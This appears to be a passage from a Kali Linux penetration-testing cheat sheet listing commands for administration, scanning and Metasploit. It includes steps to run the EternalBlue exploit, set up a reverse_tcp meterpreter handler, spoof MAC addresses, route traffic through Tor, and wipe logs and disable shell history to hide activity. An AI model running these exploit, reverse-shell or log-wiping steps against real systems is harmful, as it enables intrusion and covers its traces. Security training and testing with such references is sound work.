Offensive Security Toolkit – Penetration Testing & Ethical Hacking Pre-installed tools, apt package manager. Never use on production systems! All privileged commands require sudo or root shell.
msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target
exploit
Post-Exploitation
meterpreter > shell
whoami && id
getuid
sysinfo
4. System Administration
Task
Command
List services
systemctl list-units --type=service
Start PostgreSQL (Metasploit)
sudo systemctl start postgresql
Enable Metasploit DB
sudo msfdb init
View logs
journalctl -u service
Check IP
ip a
Reboot
reboot
Shutdown
poweroff
Disk usage
df -h
Memory
free -h
Processes
htop
5. Networking
Task
Command
Scan network
nmap -sn 192.168.1.0/24
Spoof MAC
macchanger -r wlan0
Start monitor mode
airmon-ng start wlan0
Stop monitor
airmon-ng stop wlan0mon
Tunnel traffic
proxychains nmap -sT target
Sniff packets
tcpdump -i eth0 -w capture.pcap
6. Metasploit Quick Start
msfdb init
msfconsole
db_status
workspace -a pentest1
search smb
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
exploit -j
7. Wordlists & Configs
Path
Purpose
/usr/share/wordlists/
RockYou, dirb, dirbuster
/etc/proxychains.conf
Edit for TOR/anonsurf
/usr/share/nmap/scripts/
Custom NSE scripts
~/.msf4/
Metasploit config & loot
8. Stealth & Anonymity
Tool
Command
TOR routing
sudo anonsurf start
MAC spoof
sudo macchanger -r wlan0
Clean logs
sudo journalctl --vacuum-time=1d
Disable history
set +o history
9. Troubleshooting
Issue
Command
Fix APT errors
sudo apt update --fix-missing
Reinstall Kali tools
sudo apt install --reinstall kali-linux-default
Reset Metasploit DB
msfdb reinit
Check boot issues
journalctl -b -p err
Regenerate initramfs
sudo update-initramfs -u
Update GRUB
sudo update-grub
10. One-Liners
# Full update + clean
sudo apt update && sudo apt full-upgrade -y && sudo apt autoremove && sudo apt clean
# Quick Nmap scan
nmap -T4 -A -p- 192.168.1.100
# Start all Kali services
sudo systemctl start postgresql redis-server
# Clone common wordlists
git clone https://github.com/danielmiessler/SecLists.git /usr/share/wordlists/seclists
# Run Nikto + save output
nikto -h http://site.com -output nikto.txt
# Start anonymous mode
sudo anonsurf start && proxychains curl ifconfig.me